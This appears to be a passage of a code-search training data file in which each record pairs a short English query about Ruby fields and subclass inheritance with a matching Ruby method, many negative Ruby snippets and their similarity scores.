"0.60641944",
"0.6063191",
"0.6039838",
"0.60276103"
] |
0.7379305
|
5
|
Declare to append the named field into records.
|
def field(name)
unless (@fields ||= []).include?(name)
@fields << name
# field reader
define_method(name) do
instance_variable_get("@%s" % name)
end
# field writer
define_method("%s=" % name) do |val|
val = Time.parse(val) if name == :timestamp and val.kind_of?(String)
instance_variable_set("@%s" % name, val)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def append_with(name)\n prepare do\n document[field] = [] unless document[field]\n docs = document.send(field).concat(value.__array__)\n execute(name)\n docs\n end\n end",
"def <<(field)\n list[field.name] = field\n end",
"def field(name)\n unless @fields.include? name\n @fields.push name.to_s\n end\n end",
"def add_field(name, val)\n @data[name] = val\n self\n end",
"def add_field(name, val)\n @data[name] = val\n self\n end",
"def append(field)\n @fields.push(field)\n @fields.clean = false\n end",
"def add_field!(field_name, value = nil)\n fields << Field.new({'name' => field_name}, value)\n end",
"def add_field!(field_name, value = T.unsafe(nil)); end",
"def add_field(field)\n\t\tend",
"def add_field(identifier, value = nil)\n @fields << build_field(identifier, value)\n end",
"def appendField (name, value, formName=\"\", frameName=\"\")\n \n setField(name, value, formName, frameName, true)\n end",
"def record(out, field_name, module_name, record_name)\n record_name = invalid_names[record_name] || record_name\n out << \" #{record_name.downcase()} :#{field_name}\\n\"\n end",
"def <<(field)\n @fields << field.compact.join(':')\n end",
"def <<(node)\n # this is probably too generic to be useful... should be overridden in subclass\n item = NamedField.new(node)\n self.collection << item\n end",
"def append(name, val)\n name = name.to_sym\n val = val.to_s\n if @values.key?(name)\n @values[name] << val\n else\n self[name]= val\n end\n val\n end",
"def name=(val) @records.set(GRT_STRNAME, val); end",
"def addRecord(rec); @records[rec.key] = rec end",
"def add_field(field_name)\n result_table = table.map { |row| row.merge!(field_name => nil) }\n File.write(@table_path, JSON.generate(result_table))\n end",
"def add_field(name, value, options = {})\n @fields << RSolr::Message::Field.new(options.merge({:name=>name}), value)\n end",
"def add_field(name, values, options = {})\n RSolr::Array.wrap(values).each do |v|\n field_attrs = { name: name }\n field_attrs[:type] = DocumentField if name.to_s == CHILD_DOCUMENT_KEY\n\n @fields << RSolr::Field.instance(options.merge(field_attrs), v)\n end\n end",
"def add_fields(fields)\n\t\tend",
"def add_field(name, data_lambda = nil)\n name = next_unknown_field_name if name.nil?\n @fields << name.to_sym\n @lambdas[name.to_sym] = data_lambda if data_lambda\n end",
"def add_field(var_name, type, xml_tag, value=nil)\n @fields[var_name] = Field.new(var_name, type, xml_tag, value)\n end",
"def add(name, type, offset = nil)\n if type.respond_to?(:to_str) || type.respond_to?(:to_sym)\n type = registry.build(type.to_s)\n end\n @fields << [name.to_s, type, offset]\n end",
"def append_name\n self.name = self.content\n end",
"def field(name); end",
"def add(name, value, index = nil, params = nil)\n value = value.to_str\n if params\n value = value.dup\n sep = \"; \"\n params.each do |n, v|\n value << sep\n value << n.to_s\n value << '='\n v = v.to_s\n if v =~ /^\\w+$/\n value << v\n else\n value << '\"'\n value << v\n value << '\"'\n end\n end\n end\n field = Field.new(name, value)\n index ||= @fields.length\n @fields[index, 0] = field\n self\n end",
"def field(name, type)\n @fields << Field.new(name, type, @fields.size, nil, {})\n end",
"def push(fieldlet)\n \t\tfield = @fields[fieldlet.class::FIELD_ID].last\n \t\tif field && field.instance_id == fieldlet[:instance_id]\n \t\t\treturn field << fieldlet\n \t\tend \n \n \t\tfield = fieldlet.class::FIELD.new(@entity)\n \t\tfield << fieldlet\n \n \t\t@fields[fieldlet.class::FIELD_ID] << field\n \n return field\n \tend",
"def field(spec, name = nil, data_lambda = nil)\n @field_specs << spec\n add_field(name, data_lambda)\n end",
"def field(name)\n attr_accessor name\n end",
"def add_field(name, type, options={})\n name = name.to_s\n \n # preconditions\n raise InvalidModelField.new(\"Duplicate field name\") if record_fields.key?(name)\n raise InvalidModelField.new(\"Type must be a known yodel field type\") unless valid_type?(type)\n raise InvalidModelField.new(\"Field name cannot start with an underscore\") if name.start_with?('_')\n \n # add the field to the model and subclasses\n field_type = Field.field_from_type(type.to_s)\n field = field_type.new(name, deep_stringify_keys(options.merge(type: type.to_s)))\n RecordIndex.add_index_for_field(self, field) if field.index?\n record_fields[name] = field\n end",
"def append_fields(hash)\n\tenterNewField = true\n\twhile enterNewField\n\t\tprint \"Do you want to add another field to #{hash[:Name]}'s information? (y/n)\\n\"\n\t\tanother_field = gets.chomp.to_s.upcase\n\t\tif another_field == \"Y\"\n\t\t\tprint \"What is the name of the field?\\n\"\n\t\t\tnew_field = gets.chomp\n\t\t\tprint \"What is the value?\\n\"\n\t\t\tnew_val = gets.chomp\n\t\t\thash[new_field.to_sym]=new_val\n\t\telse\n\t\t\tenterNewField = false\n\t\tend\n\n\tend\n\nend",
"def append_to_field(field)\n lambda do |release, links|\n links.map do |link|\n release.clone.merge({ link: link,\n field => release.fetch(field, []) + [link.content.delete('/')] })\n end\n end\n end",
"def sub_field(named, human_name = nil, &block)\n human_name ||= named\n @sub_fields << QueryBuilder::Field.new(named, human_name, self.depth+1, &block)\n end",
"def << tagspec\n @marcfieldspecs << tagspec\n end",
"def fields_for(record_name, record_object = T.unsafe(nil), fields_options = T.unsafe(nil), &block); end",
"def add(field, value)\n (@headers[downcased(field)] ||= []) << String(value)\n end",
"def add_field(name, options = {})\n # aliased = options[:as]\n # aliased_fields[aliased.to_s] = name if aliased\n field = field_for(name, options)\n fields[name] = field\n # add_defaults(field)\n create_accessors(name, name, options)\n # process_options(field)\n # create_dirty_methods(name, name)\n # create_dirty_methods(name, aliased) if aliased\n field\n end",
"def fields_for(record_name, record_object = T.unsafe(nil), options = T.unsafe(nil), &block); end",
"def add_record(value)\n @children['record'][:value] << value\n end",
"def add_record(value)\n @children['record'][:value] << value\n end",
"def add_record(name, record)\n klass_map = self.object_map[self.models[record.class]]\n\n # Panic if attempted to insert duplicate fixture record.\n if klass_map.include?(name.to_sym)\n raise \"Duplicate fixture for #{record.class} - #{name}\"\n end\n\n self.fixture_name_map[record] = name.to_s\n klass_map[name.to_sym] = record\n dot\n\n return record\n end",
"def append_to_list(lst, field)\n if (field != nil) and (field.strip != '')\n lst << field\n end\n end",
"def add_section(name, *fields)\n send(\"#{name}=\", Struct.new(*fields).new)\n end",
"def add(field_name, field_type, offset: current_size, skip: 0)\n field = type.add(field_name.to_s, field_type, offset: offset, skip: skip)\n @current_size = [current_size, field.offset + field.size].max\n field\n end",
"def add(tag, value)\n @fields[tag.to_sym] = value\n end",
"def extend(records)\n @records += records\n end",
"def <<(name)\n @names << name\n end",
"def update_field_name\n self.field = field_name\n end",
"def add(field, val, boost=nil)\n return if val == nil\n return if val == ''\n if val.is_a? Array\n val.each {|v| self.add(field, v)}\n else\n self.addField(field, val)\n end\n self.boost = boost if boost\n end",
"def add name\n\t\t\tif name.class == 'String'\n\t\t\t\tpush name\n\t\t\telse\n\t\t\t\tname.each do | n |\n\t\t\t\t\tpush n\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def []=(field_name, value); end",
"def field(name, options={}, &block)\n field = AppKit::Field.new(model, name, options, &block)\n fields << field\n end",
"def custom_fields_for(name)\n declare_embedded_in_definition_in_custom_field(name)\n\n # stores the relation name\n _custom_fields_for << name.to_s\n\n extend_for_custom_fields(name)\n end",
"def add_ivar( array )\n array << @name\n end",
"def add_ivar( array )\n array << @name\n end",
"def field(spec, name = nil, data_lambda = nil)\n add_field Field.new(String, spec, name || next_unknown_field_name, data_lambda)\n end",
"def record_name(n)\n @name = n\n end",
"def add(primary_key, fields, analyzers, suffix_array_writer)\n base_offset = @io.pos\n write_header(primary_key, fields)\n fields.each_with_index {|field,index|\n data = field || ''\n suffix_offset = store_field(data)\n suffix_array_writer.append_suffixes(analyzers[index], data, suffix_offset, base_offset, index)\n } \n write_footer((@io.pos-base_offset)+5)\n end",
"def <<(record)\n @records << record\n end",
"def <<(record)\n @records << record\n end",
"def field(name)\n _unique(name)\n value = _field(name)\n fields[name] = field_class.new(self, name, value)\n end",
"def record()\n unless ( @name_source )\n @name_source = NameSource.new()\n end\n record_from_name( @name_source.record() )\n end",
"def add_trace_field(name, value)\n self.active_trace_context[name] = value\n # TODO right now this will only add the field to all spans *started* after\n # this call, which unfortunately excludes the actual active span when the\n # call was made. One way to fix this is to change .span_for_existing_event\n # to add fields from .active_trace_context _after_ the yield (in a\n # begin/ensure block) instead of before.\n end",
"def field_named(name)\n ensure_setup!\n field_set.field_named(name)\n end",
"def add_raw(raw)\n @fields << Field.new(raw)\n self\n end",
"def field=(field_name)\n parameters[:field] = field_name\n end",
"def add_additional(name, type, klass)\n self.payload += self.add_record(name, type, klass).encode\n self.additional_rr += 1\n end",
"def add_field(field_name,value,commit=true)\n update_solr(field_name,'add',value,commit)\n execute_callbacks(field_name,value)\n end",
"def <<(fields)\n add_row(fields)\n end",
"def add_dynamo_field(field_name, field_type=:string)\n field_name = field_name.to_s\n field_type = field_type.to_s\n logger.debug \"Dynamo: add_dynamo field Name: #{field_name} FieldType: #{field_type} \"\n \n # Ensure a field with this name doesn't already exist for this particular class\n raise ArgumentError, \"The column #{field_name} already exists for the model #{self.to_s}\" if DynamoField.find(:all, :conditions=>['model = ? AND field_name = ?', self.to_s, field_name], :limit=>1).size > 0\n \n # Ensure a valid type is given\n raise ArgumentError, \"Invalid field type given: #{field_type}. Valid types are: #{VALID_FIELD_TYPES.keys.join(',')}\" unless VALID_FIELD_TYPES.has_key? field_type.to_sym\n \n # Create and save this new dynamic field.\n DynamoField.new(:model=>self.to_s, :field_name=>field_name, :field_type=>VALID_FIELD_TYPES[field_type.to_sym]).save!\n end",
"def add_field! key, initial = nil, opts = {}, &block\n key = @schema.validate_new_key! key\n @values[key] = initial\n @schema.add_field! key, initial, opts, &block\n self\n end",
"def add_custom_field(name, value)\n add_field name, value\n end",
"def _ field\n as_name = [name, field].join(\"_\").to_sym\n AS[\"#{relationize}.(#{field})\", as_name, Bag.new([field, field_type(field)]), nil, :skip_type]\n end",
"def addRecords(recs); recs.each { |r| addRecord r } end",
"def add_fields(arr,descr,fields)\n fields = fields[0] if(fields.size == 1 && fields[0].is_a?(Array))\n scrubbed = transform_fields(descr,fields)\n if(arr.eql?(WILDCARD))\n arr = scrubbed\n else\n (scrubbed - arr).each {|f| arr << f}\n end\n end",
"def field_name= new_field_name\n frozen_check!\n @gapi.field_name = new_field_name\n end",
"def add_field(params = {})\n post(\"/fields\", params)\n end",
"def append_field_value(value)\n return unless current_field && value\n current_value << value.gsub(/\\s+/, ' ')\n end",
"def field(ffield, length, sourcetag, default = nil, &block)\n @fields << {\n afield: ffield,\n length: length, \n stag: sourcetag,\n default: default,\n block: block\n }\n end",
"def increment_field_name(node)\n @node_offset += 1 # I really dislike this offset variable.\n @nodeset[\"#{node.name}_#{@node_offset}\".to_sym] = node.text unless node.blank?\n end",
"def add_field(field_defn, method_conflict_warning: field_defn.method_conflict_warning?)\n # Check that `field_defn.original_name` equals `resolver_method` and `method_sym` --\n # that shows that no override value was given manually.\n if method_conflict_warning &&\n CONFLICT_FIELD_NAMES.include?(field_defn.resolver_method) &&\n field_defn.original_name == field_defn.resolver_method &&\n field_defn.original_name == field_defn.method_sym &&\n field_defn.hash_key == NOT_CONFIGURED &&\n field_defn.dig_keys.nil?\n warn(conflict_field_name_warning(field_defn))\n end\n prev_defn = own_fields[field_defn.name]\n\n case prev_defn\n when nil\n own_fields[field_defn.name] = field_defn\n when Array\n prev_defn << field_defn\n when GraphQL::Schema::Field\n own_fields[field_defn.name] = [prev_defn, field_defn]\n else\n raise \"Invariant: unexpected previous field definition for #{field_defn.name.inspect}: #{prev_defn.inspect}\"\n end\n\n nil\n end",
"def []= key, value\n\t\t\t\tif @indexed\n\t\t\t\t\tmerge_into(@indexed, key.downcase, value)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t@fields << [key, value]\n\t\t\tend",
"def inject_original_value (data,data_record,key,new_name)\n log.debug \"injecting original \", key\n\n if (data_record.length > 2)\n separator = SEPARATOR\n else\n separator = ''\n end\n # by inserting the details into the start of the string we only need to find the initial bracket\n # there is no need to parse the structure, worry about escaped characters etc\n data_record.insert(data_record.index('{')+1, '\"'+new_name+'\":'+data[key].to_s + separator)\n return data_record\n end",
"def field(field_name, value)\n flush_field\n @current_field = field_name\n @current_value = value.dup\n end",
"def add_fields_to_request\n @fields.each do |f|\n @request += f + ',' if f\n end\n end",
"def active_serialize_add *attrs, named: nil, to: nil, group: nil\n active_serialize_map attrs[0] => named if named\n return _active_serialize[:groups][group] = attrs.map(&:to_sym) if group\n _active_serialize[to || :add].concat attrs.map(&:to_sym)\n end",
"def add_student_name(name)\n @student_names << name\n end",
"def name_record() @records.get(GRT_STRNAME); end",
"def append *arg\n\t\t\t\n\t\t\t@orient.update { \"set #{@name.to_s} = #{@name} || #{arg.to_or} \"}[@name] if check_if_complete\n\t\t\t@orient.reload!\n\t\tend",
"def process_field(field_name)\n if ['id', 'name', 'first_name', 'node_id'].include?(field_name)\n \"#{table}.#{field_name}\"\n else\n super # raises\n end\n end",
"def append_col(name='', obj=nil)\n header_name_check(name)\n @header << name\n @order += 1\n each { |row| row << obj }\n end",
"def vars_add(name,obj)\n @to_load << {:name => name, :obj => obj} \n end",
"def append!(column_name, value=nil)\n raise ArgumentError, \"Can't have duplicate column names\" if self.labels.include?(column_name)\n self.labels << column_name.to_underscore_sym\n if value.is_a?(Array)\n self.items.each_with_index do |item, i|\n item << value[i]\n end\n else\n self.items.each do |item|\n item << value\n end\n end\n self.columns(true)\n # Because we are tainting the sub arrays, the TaintableArray doesn't know it's been changed.\n self.items.taint\n end",
"def csv_write filename , *field\n CSV.open(filename, \"a\") do |csv|\n csv << field\n end\nend",
"def field(label = nil, note = nil, &contents)\n @fields << Field.new(:label => label, :note => note, &contents)\n end",
"def add(r)\n db[r.name] = r\n end",
"def store_all_fields variable_name\r\n command 'storeAllFields', variable_name\r\n end",
"def add_record(channel_name, identifier)\n raise NotImplementedError\n end"
] |
[
"0.7526918",
"0.68954945",
"0.6804112",
"0.6734768",
"0.6734768",
"0.6644679",
"0.6588441",
"0.64024127",
"0.6393955",
"0.6364608",
"0.63316226",
"0.6285384",
"0.62451446",
"0.62223333",
"0.61488223",
"0.6087286",
"0.6072084",
"0.60603654",
"0.6044775",
"0.60289073",
"0.59586084",
"0.5911923",
"0.58892035",
"0.58861387",
"0.5823802",
"0.5813246",
"0.58030504",
"0.5774361",
"0.5771276",
"0.5732088",
"0.5729341",
"0.57212234",
"0.5701633",
"0.568041",
"0.5666924",
"0.5651679",
"0.5634729",
"0.5630361",
"0.5624414",
"0.561026",
"0.55987614",
"0.55987614",
"0.55837214",
"0.55817074",
"0.55761296",
"0.55721545",
"0.556972",
"0.55316705",
"0.55233705",
"0.5518867",
"0.55171436",
"0.5504542",
"0.5496691",
"0.54962736",
"0.5489546",
"0.54828304",
"0.54828304",
"0.5464917",
"0.5461723",
"0.54580754",
"0.54570514",
"0.54570514",
"0.54488254",
"0.54478973",
"0.5431315",
"0.5411128",
"0.54001033",
"0.5395674",
"0.5382853",
"0.53820735",
"0.5375919",
"0.534894",
"0.533096",
"0.53089523",
"0.5305287",
"0.5298627",
"0.5291761",
"0.5287888",
"0.5287536",
"0.5271559",
"0.52640873",
"0.5257846",
"0.5255954",
"0.5253019",
"0.5251409",
"0.5250522",
"0.5239548",
"0.5238927",
"0.5234369",
"0.5225766",
"0.5222934",
"0.52186465",
"0.52162224",
"0.5210262",
"0.5208449",
"0.5205017",
"0.5197992",
"0.5196276",
"0.51855576",
"0.5180387"
] |
0.57112586
|
32
|
Subclass inherites superclass's fields.
|
def inherited(subclass)
subclass.instance_variable_set(:@__ignore_identities__, @__ignore_identities__.clone)
subclass.instance_variable_set(:@fields, @fields.clone)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def inherited(subclass)\n super\n subclass.fields = fields.dup\n end",
"def inherited(subclass)\n subclass.instance_variable_set(\"@fields\", fields.dup)\n subclass.instance_variable_set(\"@relations\", relations.dup)\n end",
"def inherited(subclass)\n super\n\n subclass.serialization.replace serialization\n subclass.fields.replace fields\n end",
"def inherited(subclass)\n super\n subclass.attributes = attributes.dup\n end",
"def inherited(subclass)\n super\n [:@deleted_timestamp_field, :@deleted_timestamp_overwrite].each do |iv|\n subclass.instance_variable_set(iv, instance_variable_get(iv))\n end\n end",
"def inherited(subclass)\n instance_variables.grep(/^@\\w+_group_accessor$/) do |v|\n subclass.instance_variable_set(v, instance_variable_get(v).clone)\n end\n super\n end",
"def inherited(subclass)\n super\n ivs = subclass.instance_variables\n inherited_instance_variables.each do |iv, dup|\n next if ivs.include?(iv)\n if (sup_class_value = instance_variable_get(iv)) && dup\n sup_class_value = case dup\n when :dup\n sup_class_value.dup\n when :hash_dup\n h = {}\n sup_class_value.each{|k,v| h[k] = v.dup}\n h\n when Proc\n dup.call(sup_class_value)\n else\n raise Error, \"bad inherited instance variable type: #{dup.inspect}\"\n end\n end\n subclass.instance_variable_set(iv, sup_class_value)\n end\n\n unless ivs.include?(\"@dataset\")\n if @dataset && self != Model\n subclass.set_dataset(@dataset.clone, :inherited=>true)\n elsif (n = subclass.name) && !n.to_s.empty?\n db\n subclass.set_dataset(subclass.implicit_table_name)\n end\n end\n end",
"def inherited(subclass)\n super\n ivs = subclass.instance_variables.map(&:to_s)\n inherited_instance_variables.each do |iv, dup|\n next if ivs.include?(iv.to_s)\n if (sup_class_value = instance_variable_get(iv)) && dup\n sup_class_value = case dup\n when :dup\n sup_class_value.dup\n when :hash_dup\n h = {}\n sup_class_value.each{|k,v| h[k] = v.dup}\n h\n when Proc\n dup.call(sup_class_value)\n else\n raise Error, \"bad inherited instance variable type: #{dup.inspect}\"\n end\n end\n subclass.instance_variable_set(iv, sup_class_value)\n end\n\n unless ivs.include?(\"@dataset\")\n if @dataset && self != Model\n subclass.set_dataset(@dataset.clone, :inherited=>true)\n elsif (n = subclass.name) && !n.to_s.empty?\n db\n subclass.set_dataset(subclass.implicit_table_name)\n end\n end\n end",
"def inherited(base)\n base.class_eval do\n @name = nil\n @unknown_inc = 0\n @fields = [ ]\n @fields_by_name = {}\n @field_components_by_name = {}\n @klass = nil\n\n record_name self.name.gsub(\"::\",\"_\") if self.name\n end\n end",
"def inherited(subclass)\n instance_values.each do |ivar, ival|\n subclass.instance_variable_set(:\"@#{ivar}\", ival.dup)\n end\n end",
"def inherited(subclass)\n super\n subclass.instance_variable_set(\"@collection\", {})\n subclass.instance_variable_set(\"@indexed_fields\", [])\n subclass.instance_variable_set(\"@indexes\", {})\n end",
"def inherited( subclass )\n\t\t\tsuper\n\t\t\tsubclass.instance_variable_set( :@idle_timeout, self.idle_timeout.dup )\n\t\t\tsubclass.instance_variable_set( :@heartbeat_rate, self.heartbeat_rate.dup )\n\t\tend",
"def inherited( subclass )\n\t\t\tsuper\n\n\t\t\tverbs_copy = Strelka::DataUtilities.deep_copy( self.resource_verbs )\n\t\t\tsubclass.instance_variable_set( :@resource_verbs, verbs_copy )\n\n\t\t\topts_copy = Strelka::DataUtilities.deep_copy( self.service_options )\n\t\t\tsubclass.instance_variable_set( :@service_options, opts_copy )\n\t\tend",
"def inherited(subclass)\n super\n subclass.instance_variable_set(:@comparison_attrs, comparison_attrs.dup)\n end",
"def inherited(subclass)\n @inheritable_attributes.each do |inheritable_attribute|\n instance_var = \"@#{inheritable_attribute}\"\n subclass.instance_variable_set(instance_var, instance_variable_get(instance_var))\n end\n end",
"def inherited(subclass)\n super\n subclass.instance_variable_set(:@_ext, @_ext.dup)\n end",
"def inherited(subclass)\n subclass.field :id, from: 'Id'\n end",
"def inherited(subclass)\n subclass.field :id, from: 'Id'\n end",
"def inherited(base) #:nodoc:\n base.class_eval do\n class << self\n attr_reader *ATTR_READERS\n end\n end\n\n ATTR_READERS.each do |attr|\n current_value = self.instance_variable_get(\"@#{attr}\")\n base.instance_variable_set(\"@#{attr}\", current_value ? current_value.dup : [])\n end\n end",
"def inherited(subclass)\n @inheritable_attribute_list.each do |attribute|\n instance_var = \"@#{attribute}\"\n subclass.instance_variable_set(instance_var, instance_variable_get(instance_var))\n end\n end",
"def inherited(subclass)\n subclass.instance_variable_set(:@opts, opts.dup)\n subclass.opts.each do |key, value|\n if value.is_a?(Enumerable) && !value.frozen?\n subclass.opts[key] = value.dup\n end\n end\n subclass.instance_variable_set(:@storages, storages.dup)\n\n file_class = Class.new(self::UploadedFile)\n file_class.shrine_class = subclass\n subclass.const_set(:UploadedFile, file_class)\n\n attachment_class = Class.new(self::Attachment)\n attachment_class.shrine_class = subclass\n subclass.const_set(:Attachment, attachment_class)\n\n attacher_class = Class.new(self::Attacher)\n attacher_class.shrine_class = subclass\n subclass.const_set(:Attacher, attacher_class)\n end",
"def inherited(subclass)\n super\n store = @cache_store\n ttl = @cache_ttl\n subclass.instance_eval do\n @cache_store = store\n @cache_ttl = ttl\n end\n end",
"def inherited(child)\n super\n child.attribute_definitions = attribute_definitions.dup\n end",
"def inherited(subclass)\n [:resource_ivar_name, :nested_resource_ivar_name].each do |inheritable_attribute|\n instance_var = \"@#{inheritable_attribute}\"\n subclass.instance_variable_set(instance_var, instance_variable_get(instance_var))\n end\n end",
"def initialize(*)\n super\n @extra_fields = []\n end",
"def inherited(child)\n super\n child.attribute_names = self.attribute_names ? self.attribute_names.dup : [:id]\n child.reverse_solr_name_cache = self.reverse_solr_name_cache ? self.reverse_solr_name_cache.dup : {}\n child.attribute_cache = self.attribute_cache ? self.attribute_cache.dup : {}\n child.facets = self.facets ? self.facets.dup : []\n child.solr_calc_attributes = self.solr_calc_attributes.present? ? self.solr_calc_attributes.dup : {}\n # child.derived_af_class\n\n # If there's no class between +LockedLdpObject+ and this child that's\n # already had +visibility+ and +owner+ defined, define them.\n child.class_eval do\n unless attribute_names.include?(:visibility)\n has_attribute :visibility, ::VOCABULARY[:jupiter_core].visibility, solrize_for: [:exact_match, :facet]\n end\n unless attribute_names.include?(:owner)\n has_attribute :owner, ::VOCABULARY[:jupiter_core].owner, solrize_for: [:exact_match]\n end\n unless attribute_names.include?(:record_created_at)\n has_attribute :record_created_at, ::VOCABULARY[:jupiter_core].record_created_at, type: :date,\n solrize_for: [:sort]\n end\n end\n end",
"def inherited(subclass)\n super\n\n ds = dataset\n\n subclass.period_start_date_column = period_start_date_column\n subclass.period_end_date_column = period_end_date_column\n subclass.instance_eval do\n set_dataset(ds)\n end\n end",
"def inherited(subclass)\n super\n subclass.instance_variable_set(:@gauges, @gauges)\n end",
"def save_inherited_fields\n inherited_fields.each do |name|\n fields[name] = parent.provide(name)\n end\n\n self\n end",
"def inherited(base)\n base.instance_variable_set(\"@counter_key\", counter_key)\n base.instance_variable_set(\"@key_template\", key_template)\n super\n end",
"def _attributes\n @_attributes = superclass.try(:_attributes)&.dup || {} unless defined?(@_attributes)\n @_attributes\n end",
"def inherited( subclass )\n\t\t\tsuper\n\t\t\tsubclass.instance_variable_set( :@paramvalidator, self.paramvalidator.dup )\n\t\t\tself.log.debug \"Adding param validator: %p\" % [ self.paramvalidator ]\n\t\tend",
"def inherited(subclass)\n super\n opts = {}\n json_serializer_opts.each{|k, v| opts[k] = (v.is_a?(Array) || v.is_a?(Hash)) ? v.dup : v}\n subclass.instance_variable_set(:@json_serializer_opts, opts)\n end",
"def all_fields\n superclass.all_fields.merge(own_fields)\n rescue NoMethodError\n own_fields\n end",
"def inherited(subclass)\n unless class_variable_defined?(:@@content_model)\n class_variable_set(:@@content_model, subclass)\n subclass.send :include, Spontaneous::Model::Core\n end\n super\n end",
"def inherited(subclass)\n # Copy properties from parent to subclass\n resource_class.properties.each do |_name, config|\n subclass.property config.term, predicate: config.predicate, class_name: config.class_name\n end\n\n subclass.configure_model\n end",
"def inherited(subclass) #:nodoc:\n if subclass.default_attributes\n subclass.default_attributes = subclass.default_attributes.dup\n else\n subclass.default_attributes = HashWithIndifferentAccess.new\n end\n end",
"def inherited(subclass)\n super\n sm = serialization_map.dup\n subclass.instance_eval{@serialization_map = sm}\n end",
"def inherited(subclass)\n super\n subclass.acts_as_cacheable_cache = acts_as_cacheable_cache\n subclass.acts_as_cacheable_time_to_live = acts_as_cacheable_time_to_live\n subclass.acts_as_cacheable_logger = acts_as_cacheable_logger\n end",
"def inherited(base)\n Base.inherited(base)\n end",
"def inherited(base); end",
"def inherited(subclass)\n subclass.definition_location = call_stack\n super\n register_submodel(subclass)\n subclass.permanent_model = true\n end",
"def inherited(child_class)\n HasFields.add_default_resolve_module(child_class)\n super\n end",
"def inherited(klass)\n super\n klass.instance_variable_set(:@transforms, transforms.dup)\n klass.instance_variable_set(:@translations_hash, translations_hash.dup)\n end",
"def inherited(subclass)\n VOTEABLE[subclass.name] = VOTEABLE[name]\n VOTEABLE[subclass.name][subclass.name] = VOTEABLE[name][name]\n super\n end",
"def inherited(subclass)\n super\n sk = sti_key\n sd = sti_dataset\n sdr = sti_dataset_root\n skm = sti_key_map\n smm = sti_model_map\n key = skm[subclass]\n ska = [key].reject { |k| k.blank? }\n subclass.instance_eval do\n @sti_key = sk\n @sti_key_array = ska\n @sti_subclasses_array = [skm[subclass]]\n @sti_dataset = sd\n @sti_key_map = skm\n @sti_model_map = smm\n @simple_table = nil\n @sti_dataset_root = sdr\n end\n sti_subclass_added(key, subclass)\n end",
"def inherited(subclass)\n # Register the subclass in a lookup table (shared class variable).\n model = model_for(subclass)\n @@representers[model] = subclass\n\n # Setup class-instance variables.\n subclass.class_eval do\n @modes = {}\n @paginators = {}\n @helpers = {}\n end\n end",
"def properties\n super\n end",
"def override\n attributes.override\n end",
"def superclass=(object); end",
"def inherited(subclass)\n [:steps, :failed_steps].each do |inheritable_attribute|\n instance_var = \"@#{inheritable_attribute}\"\n subclass.instance_variable_set(instance_var, instance_variable_get(instance_var).dup || [])\n end\n end",
"def inherited(subclass); end",
"def attributes\n superclass_attrs = superclass.attributes if superclass.respond_to? :attributes\n @__attrs ||= AttributeCollection.new + superclass_attrs\n end",
"def attr_reader(*vars)\n super *(add_tracked_attrs(true, false, *vars))\n end",
"def superclass() end",
"def fields()\n @@defined_subclass_field_lists[self.class]\n end",
"def inherited(subclass)\n super\n subclass.instance_variable_set(:@event_types, @event_types)\n end",
"def inherited(subclass)\n super\n subclass.rules.update self.rules\n end",
"def inherited(subclass)\n super\n subclass.const_set(:TypecastParams, Class.new(self::TypecastParams))\n end",
"def inherited( subclass )\n\t\t\tsuper\n\t\t\tsubclass.instance_variable_set( :@session_namespace, @session_namespace )\n\t\tend",
"def custom_data\n super.attributes\n end",
"def inherited(subclass)\n subclass.class_eval <<-RUBY\n def to_h\n {}\n end\n RUBY\n end",
"def inherited(subclass)\n super\n subclass.scopes = scopes.dup\n end",
"def inherited(subclass)\n subclass.sorter = sorter\n super\n end",
"def initialize(attributes = {})\n @attributes = attributes\n super @attributes.slice(*self.class.special_attrs).merge(data: @attributes.except(*self.class.special_attrs))\n end",
"def inherited( subclass )\n\t\t\tsuper\n\t\t\tStrelka::App::Auth.extended_apps << subclass\n\t\t\tsubclass.instance_variable_set( :@auth_provider, @auth_provider )\n\t\t\tsubclass.instance_variable_set( :@positive_auth_criteria, @positive_auth_criteria.dup )\n\t\t\tsubclass.instance_variable_set( :@negative_auth_criteria, @negative_auth_criteria.dup )\n\t\t\tsubclass.instance_variable_set( :@positive_perms_criteria, @positive_perms_criteria.dup )\n\t\t\tsubclass.instance_variable_set( :@negative_perms_criteria, @negative_perms_criteria.dup )\n\t\tend",
"def inherited(base) # :nodoc:\n dup = _validators.dup\n base._validators = dup.each { |k, v| dup[k] = v.dup }\n super\n end",
"def uncopied_attributes\n superclass.uncopied_attributes | [:chart_code, :number, :effective_date]\n end",
"def class_eav_attributes # :nodoc:\n if superclass != ActiveRecord::Base\n if superclass.class_eav_attributes.nil?\n @eav_attributes\n else\n @eav_attributes.nil? ? superclass.class_eav_attributes : superclass.class_eav_attributes.merge(@eav_attributes)\n end\n else\n @eav_attributes\n end\n end",
"def derived_attributes\n @derive_attribute ||= {}\n end",
"def attributes\n super.merge({\n\t\t :accelerometer_axes => accelerometer_axes.size,\n\t\t :compass_axes => compass_axes.size,\n\t\t :gyro_axes => gyro_axes.size\n })\n end",
"def inherited(base)\n base.instance_variable_set '@filters', {}\n end",
"def inherited_instance_variables\n {\n :@allowed_columns=>:dup, # SEQUEL5: Remove\n :@cache_anonymous_models=>nil,\n :@dataset_method_modules=>:dup,\n :@dataset_module_class=>nil,\n :@db=>nil,\n :@default_set_fields_options=>:dup,\n :@fast_instance_delete_sql=>nil,\n :@fast_pk_lookup_sql=>nil,\n :@finder_loaders=>:dup, # SEQUEL5: Remove\n :@finders=>:dup, # SEQUEL5: Remove\n :@plugins=>:dup,\n :@primary_key=>nil,\n :@raise_on_save_failure=>nil,\n :@raise_on_typecast_failure=>nil,\n :@require_modification=>nil,\n :@require_valid_table=>nil,\n :@restrict_primary_key=>nil,\n :@setter_methods=>nil,\n :@simple_pk=>nil,\n :@simple_table=>nil,\n :@strict_param_setting=>nil,\n :@typecast_empty_string_to_nil=>nil,\n :@typecast_on_assignment=>nil,\n :@use_after_commit_rollback=>nil,\n :@use_transactions=>nil\n }\n end",
